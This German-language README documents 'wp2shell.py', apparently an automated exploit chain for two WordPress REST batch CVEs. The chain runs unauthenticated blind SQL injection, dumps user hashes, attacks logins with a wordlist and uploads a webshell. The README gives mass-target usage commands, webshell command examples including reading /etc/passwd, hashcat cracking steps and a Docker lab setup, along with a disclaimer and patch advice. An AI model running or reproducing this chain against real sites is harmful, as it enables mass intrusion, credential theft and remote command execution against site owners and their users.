
Automatisierte Exploit-Kette für CVE-2026-63030 / CVE-2026-60137 — nicht authentifizierte Blind-SQLi über WordPress-REST-Batch-Routen-Konfusion. Dumpt Benutzer-Hashes, knackt Anmeldedaten, setzt Webshell ein. Unterstützt einzelne Ziele und Massen-Site-Listen. Nur für autorisierte Sicherheitstests.
Blinde SQL-Injection durch Routenkonfusion im WordPress-REST-Batch – automatisierte Exploit-Kette.
CVE-2026-63030 / CVE-2026-60137
| Betroffen | WordPress 6.9.0 – 6.9.4 und 7.0.0 – 7.0.1 |
| Behoben | WordPress 6.9.5 / 7.0.2 |
| Sink | author__not_in-SQL über desynchronisierten author_exclude-Parameter |
| Authentifizierung erforderlich | Keine (nicht authentifizierte SQLi) |
Nur für autorisierte Sicherheitstests.
Der WordPress-REST-API-Batch-Endpunkt (/wp-json/batch/v1) erlaubt verschachtelte Batch-Anfragen. Ein doppelt verschachteltes Desync-Payload verschiebt die internen Arrays $matches / $validation und leitet einen manipulierten author_exclude-Wert unbereinigt in die author__not_in-SQL weiter. Dies ermöglicht eine nicht authentifizierte blinde Boolesche + Timing-SQL-Injection.
Exploit-Kette — 4 Phasen:
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
aiohttpcoloramapip install aiohttp colorama
Einzelnes Ziel
python wp2shell.py http://target.com
Website-Liste (eine URL pro Zeile)
python wp2shell.py sites.txt
Website-Liste + eigene Passwortdatei
python wp2shell.py sites.txt -p pass.txt
Bekannte Zugangsdaten (Wörterliste überspringen)
python wp2shell.py http://target.com --user admin --password admin123
SQLi mit Timing bestätigen
python wp2shell.py http://target.com --confirm-sqli
Keine sprechenden Permalinks
python wp2shell.py http://target.com --rest-route
Über Burp-Proxy
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| Datei | Inhalt |
|---|---|
creds.txt | http://target=>user:pass (Klartext, falls geknackt, andernfalls Hash) |
webshell.txt | Live-Webshell-URL |
VULNERABLE.txt | Alle Ziele, bei denen Phase 1 die Schwachstelle bestätigt hat |
Alle Dateien werden angehängt — die Ergebnisse summieren sich über mehrere Läufe.
Verwendung der Webshell — ?cmd=COMMAND an die URL in webshell.txt anhängen:
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
Falls die Wörterliste nicht passt, enthält creds.txt den extrahierten Hash:
hashcat -m 400 creds.txt wordlist.txt
Dann mit dem geknackten Passwort erneut ausführen:
python wp2shell.py http://target.com --user admin --password <plaintext>
Startet eine verwundbare WordPress-7.0.1-Instanz für sichere lokale Tests.
Erster Start — Volumes erstellen und WordPress installieren:
docker compose up -d db wordpress
docker compose run --rm wpcli
Spätere Starts:
docker compose up -d db wordpress
Stoppen:
docker compose down
Kompletter Reset (löscht alle Daten):
docker compose down -v
Exploit gegen das Labor ausführen:
python wp2shell.py http://localhost:8080
Auf WordPress 6.9.5 oder 7.0.2 aktualisieren. Der Fix validiert die Batch-Route, bevor verschachtelte Anfragen ausgeliefert werden, und verhindert so die Desynchronisation, die die SQL-Senke freilegt.
Zur Verwendung auf Systemen, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung zum Testen hast. Unbefugte Nutzung ist illegal.
| Flag | Standard | Beschreibung |
|---|
target | — | URL (http://target) oder Pfad zu einer Website-Listendatei |
-p FILE | — | Passwortlisten-Datei (eine pro Zeile) |
--user | — | Wörterliste überspringen, diesen Benutzernamen verwenden |
--password | — | Wörterliste überspringen, dieses Passwort verwenden |
--confirm-sqli | aus | Aktive SQL-Timing-Sonde nach der Markerprüfung senden |
--rest-route | aus | /?rest_route=/batch/v1 verwenden (keine sprechenden Permalinks) |
--sleep N | 3.0 | SQL-SLEEP()-Verzögerung in Sekunden |
--samples N | 3 | Timing-Stichprobenpaare für die Medianberechnung |
--timeout N | 30.0 | HTTP-Anfrage-Timeout |
--prefix PREFIX | wp_ | Präfix der Datenbanktabelle |
--proxy URL | — | HTTP/HTTPS-Proxy |
| URL | http://localhost:8080 |
| Admin | admin / admin123 |
| MySQL-Host | db |
| MySQL-Benutzer/Passwort | wpuser / wppass |
| Datenbank | wordpress |